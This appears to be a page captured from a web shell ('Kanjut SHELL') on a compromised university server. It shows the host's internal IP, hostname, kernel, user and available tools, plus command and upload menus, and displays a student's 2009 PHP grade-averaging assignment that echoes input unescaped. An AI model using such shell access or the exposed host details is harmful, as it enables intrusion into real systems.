Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.221.102.0
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/slcebula/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/slcebula/public_html/assignment3a.php
<!--
Name:           Lee Cebula
Date:           2/16/09
Instructor:     Dr. Wang
Title:          assignment3a.php
Goal:           Receive name and grades and output average grade.
-->

<HTML>
<HEAD>
<TITLE>
assignment3a.php
</TITLE>
</HEAD>
<BODY>
<CENTER>
<FONT COLOR=blue>
<H2>
Assignment3a
</H2>
<HR>
<P>
</CENTER>
</FONT>
<FONT SIZE=4 COLOR=black>

<?php
	$stuname = $_POST["student_name"];
	$gr1 = $_POST["grade1"];
        $gr2 = $_POST["grade2"];
        $gr3 = $_POST["grade3"];
        $gr4 = $_POST["grade4"];
	$avg = ($gr1+$gr2+$gr3+$gr4)/4;
	$a = number_format($avg,2);
	print ("Name= $stuname
		<BR>
		Average Grade= $a");
?>
</FONT>
</BODY>
</HTML>

Stv3n404 - 2023